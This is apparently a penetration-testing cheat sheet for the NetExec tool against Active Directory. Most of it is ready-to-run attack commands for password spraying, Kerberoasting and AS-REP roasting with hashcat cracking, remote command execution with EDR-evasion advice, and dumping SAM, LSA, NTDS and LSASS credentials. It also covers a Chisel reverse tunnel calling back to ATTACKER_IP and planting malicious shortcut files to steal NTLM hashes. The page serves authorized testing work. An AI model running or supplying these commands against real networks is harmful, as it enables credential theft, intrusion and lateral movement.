NetExec

NetExec (the actively maintained successor to CrackMapExec) is the go-to tool for anything involving Active Directory at scale: password spraying across a subnet, enumerating shares and users, dumping secrets, or running commands on dozens of hosts at once through a single consistent syntax. Almost every protocol it supports (SMB, LDAP, WinRM, MSSQL, RDP, SSH, FTP) shares the same core flags, so learning the pattern once covers most of what you’ll actually use.

NetExec’s output is color-coded, which makes scanning a wall of results much faster once you know what each color means.

Output	Meaning
Green `+`	Username and password are valid
Red `-`	Username or password is invalid
Magenta	Credentials are valid, but authentication itself didn’t fully succeed
`(Pwn3d!)`	Administrator or high privileges on the target

netexec.wiki is the official reference and the best place to check for anything not covered here, modules especially get added and updated often.

Connecting to Targets

Every NetExec command follows the same shape: pick a protocol, point it at a target, and optionally add credentials. Once that pattern clicks, the rest of the tool is mostly just flags on top of it.

netexec smb TARGET                      # protocol can be smb, winrm, mssql, ldap, ssh, rdp, or ftp
netexec smb TARGET -u USER -p PASS      # add credentials to authenticate
netexec smb TARGET -u USER -H NTHASH    # or authenticate with an NTLM hash instead of a password

TARGET and the credential flags all accept more than a single value, which is what makes NetExec useful for spraying rather than just one-off logins:

netexec smb targets.txt -u users.txt -p passwords.txt   # target, user, and password can each be a file
netexec smb 10.10.10.0/24 -u USER -p PASS                 # target can also be a CIDR range

--continue-on-success keeps spraying after the first valid credential is found instead of stopping, useful when you want every hit rather than just confirmation that spraying works. --no-bruteforce pairs a user list with a password list line by line instead of testing every combination.

Authentication & Password Spraying

NetExec authenticates against the domain controller by default. A few flags change exactly how that authentication happens, which matters once you’re dealing with local accounts, Kerberos, or just confirming anonymous access.

netexec smb TARGET -u '' -p ''                  # test anonymous logon first, costs nothing to check
netexec smb TARGET -u USER -p PASS -d DOMAIN     # force a specific domain if auto-detection picks the wrong one
netexec smb TARGET --local-auth -u USER -p PASS  # authenticate locally instead of against the domain

Kerberos authentication needs the target’s FQDN rather than a bare IP:

netexec smb TARGET -u USER -k --use-kcache       # authenticate using a cached Kerberos ticket (ccache)
netexec smb TARGET -u USER --aesKey AES_KEY       # authenticate with an AES-128/256 key instead of a password

SMB Enumeration

SMB is where most of NetExec’s enumeration power lives, since it doubles as both a login point and a way to pull domain information straight from a host without needing LDAP access at all.

netexec smb TARGET                               # OS version, SMB version, hostname, no credentials needed
netexec smb TARGET -u USER -p PASS --shares       # enumerate share permissions
netexec smb TARGET -u USER -p PASS --users        # enumerate domain users
netexec smb TARGET -u USER -p PASS --groups       # enumerate domain groups
netexec smb TARGET -u USER -p PASS --pass-pol     # pull the domain's password policy

More SMB enumeration flags

netexec smb TARGET --gen-relay-list output.txt              # map hosts that don't require SMB signing, useful for relay attacks
netexec smb TARGET -u USER -p PASS --sessions                 # active sessions on the target
netexec smb TARGET -u USER -p PASS --disks                    # disks present on the target
netexec smb TARGET -u USER -p PASS --computers                # domain computer accounts
netexec smb TARGET -u USER -p PASS --loggedon-users            # currently logged-on users
netexec smb TARGET -u USER -p PASS --local-group                # local group membership
netexec smb TARGET -u USER -p PASS --rid-brute [MAX_RID]        # enumerate users by brute-forcing RIDs, up to 4000 by default
netexec smb TARGET -u USER -p PASS --wmi "SELECT * FROM Win32_Process"   # run a raw WMI query

LDAP Enumeration

LDAP enumeration digs into attributes SMB doesn’t expose directly, which makes it the better choice once you’re hunting for specific misconfigurations rather than just getting a lay of the land.

netexec ldap TARGET -u USER -p PASS --users                      # enabled domain users
netexec ldap TARGET -u USER -p PASS --groups                     # domain groups
netexec ldap TARGET -u USER -p PASS --admin-count                 # objects with adminCount=1, often high-value accounts
netexec ldap TARGET -u USER -p PASS --trusted-for-delegation       # accounts flagged for unconstrained delegation
netexec ldap TARGET -u USER -p PASS --password-not-required        # accounts with PASSWD_NOTREQD set

Finding Accounts: AS-REP and Kerberoasting

Both techniques recover crackable Kerberos hashes without needing a foothold on the target host itself, just a valid (even low-privileged) domain account and LDAP access.

netexec ldap TARGET_FQDN -u USER -p PASS --asreproast asrep.out        # users with Kerberos pre-auth disabled
netexec ldap TARGET_FQDN -u USER -p PASS --kerberoasting kerb.out      # TGS tickets for accounts with an SPN set

Crack whatever comes back with hashcat:

hashcat -m 18200 asrep.out /usr/share/wordlists/rockyou.txt --force
hashcat -m 13100 kerb.out /usr/share/wordlists/rockyou.txt --force

Command Execution

Once you’ve got valid credentials, NetExec can run commands directly rather than needing a separate tool to pop a shell. The execution method matters: some get caught by EDR far more readily than others.

netexec smb TARGET -u USER -p PASS -x "whoami"        # execute a CMD command
netexec smb TARGET -u USER -p PASS -X "whoami"        # execute a PowerShell command instead
netexec winrm TARGET -u USER -p PASS -x "whoami"       # same idea over WinRM rather than SMB

--exec-method controls how the command actually gets executed (wmiexec, atexec, smbexec, mmcexec). wmiexec is the default and usually quietest, but if it’s being blocked, the others are worth trying before assuming execution is dead entirely.

Extracting Secrets

With admin rights on a target, NetExec can pull credential material directly rather than needing a separate dumping tool staged on disk.

netexec smb TARGET -u USER -p PASS --sam         # dump the local SAM database
netexec smb TARGET -u USER -p PASS --lsa         # dump LSA secrets
netexec smb TARGET -u USER -p PASS --ntds        # dump NTDS.dit from a domain controller

LSASS dumping modules

Several modules dump LSASS memory using different underlying techniques, useful when one gets flagged by EDR and you need a fallback.

netexec smb TARGET -u USER -p PASS -M lsassy       # dump via lsassy
netexec smb TARGET -u USER -p PASS -M procdump     # dump via procdump
netexec smb TARGET -u USER -p PASS -M nanodump     # dump via nanodump

File Operations

Beyond credential dumping, NetExec can search and pull files straight out of SMB shares, which is often faster than mounting a share manually just to grep through it.

netexec smb TARGET -u USER -p PASS --spider SHARE --pattern "password"    # search a share for a filename pattern
netexec smb TARGET -u USER -p PASS --share SHARE --get-file REMOTE LOCAL  # download a specific file
netexec smb TARGET -u USER -p PASS --share SHARE --put-file LOCAL REMOTE  # upload a specific file

For pulling everything at once instead of searching file by file:

netexec smb TARGET -u USER -p PASS -M spider_plus -o READ_ONLY=false

Domain Misconfiguration Checks

A couple of built-in modules check for classic Group Policy credential leaks, both of which are still surprisingly common findings on real engagements.

netexec smb TARGET -u USER -p PASS -M gpp_password     # recover plaintext passwords pushed via Group Policy Preferences
netexec smb TARGET -u USER -p PASS -M gpp_autologin    # recover autologon credentials from registry.xml

Vulnerability Scan Modules

These check for known, high-impact Active Directory vulnerabilities, worth running early against any domain controller before diving into manual enumeration.

netexec smb TARGET -M zerologon      # CVE-2020-1472
netexec smb TARGET -M ms17-010       # EternalBlue
netexec smb TARGET -M petitpotam     # unauthenticated coercion to force authentication
netexec smb TARGET -u USER -p PASS -M nopac   # CVE-2021-42278 / CVE-2021-42287

A positive result on zerologon or ms17-010 means the target is one exploit away from full compromise. Treat these findings as critical and stop to assess impact before continuing to enumerate.

Pivoting Through a Compromised Host

NetExec can push a Chisel client or server onto a target over SMB, which turns a single set of valid credentials into a tunnel without needing separate file transfer and execution steps.

# Attack host: start the Chisel server
chisel server --reverse

# Target, launched via netexec: connect back as the client
netexec smb TARGET -u USER -p PASS -x "C:\Windows\Temp\chisel.exe client ATTACKER_IP:8080 R:socks"

Hash stealing via SMB coercion

The slinky module drops a malicious shortcut file (.lnk) on writable shares; anyone browsing to it leaks an NTLM hash to a listener like Responder.

netexec smb TARGET -u USER -p PASS -M slinky -o SERVER=ATTACKER_IP NAME=LNK_NAME

Clean it up afterward:

netexec smb TARGET -u USER -p PASS -M slinky -o SERVER=ATTACKER_IP NAME=LNK_NAME CLEAN=YES

Useful Modules

A handful of modules that come up often enough to be worth knowing by name, beyond what’s covered above.

netexec ldap TARGET -u USER -p PASS -M laps           # read LAPS passwords for machines the account can access
netexec ldap TARGET -u USER -p PASS -M maq             # check the machine account quota for a user
netexec smb TARGET -u USER -p PASS -M keepass_discover # locate a KeePass config file on the target

List any module’s own options before running it:

netexec PROTOCOL -L              # list all available modules
netexec PROTOCOL -M MODULE --options   # show a specific module's options

Exporting Results

netexec smb TARGET -u USER -p PASS --users --export output.json   # export supported output to JSON
netexec smb TARGET > output.txt                                    # or just redirect stdout if a command has no export flag

NetExec's internal database (netexecdb)

NetExec keeps a workspace database of everything it’s touched, credentials, hosts, shares, which is handy for picking up an engagement without re-running every scan.

workspace list                        # list workspaces
workspace WORKSPACE_NAME              # switch to one
creds                                 # show all stored credentials
creds plaintext                       # show only plaintext credentials
hosts                                 # hosts gained access to
shares                                # discovered share information
export creds detailed output.csv      # export stored credentials

Quick Reference Tools

NetExec Wiki

The official documentation, covers every module and flag in depth.

NetExec on GitHub

Source, issues, and the latest module additions.

Password spraying and credential dumping can lock out accounts or trip alerting fast. Confirm scope and rate limits before running anything beyond a single test login.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

Connecting to Targets

Authentication & Password Spraying

SMB Enumeration

LDAP Enumeration

Finding Accounts: AS-REP and Kerberoasting

Command Execution

Extracting Secrets

File Operations

Domain Misconfiguration Checks

Vulnerability Scan Modules

Pivoting Through a Compromised Host

Useful Modules

Exporting Results

Quick Reference Tools

NetExec Wiki

NetExec on GitHub

​Connecting to Targets

​Authentication & Password Spraying

​SMB Enumeration

​LDAP Enumeration

​Finding Accounts: AS-REP and Kerberoasting

​Command Execution

​Extracting Secrets

​File Operations

​Domain Misconfiguration Checks

​Vulnerability Scan Modules

​Pivoting Through a Compromised Host

​Useful Modules

​Exporting Results

​Quick Reference Tools

NetExec Wiki

NetExec on GitHub

Connecting to Targets

Authentication & Password Spraying

SMB Enumeration

LDAP Enumeration

Finding Accounts: AS-REP and Kerberoasting

Command Execution

Extracting Secrets

File Operations

Domain Misconfiguration Checks

Vulnerability Scan Modules

Pivoting Through a Compromised Host

Useful Modules

Exporting Results

Quick Reference Tools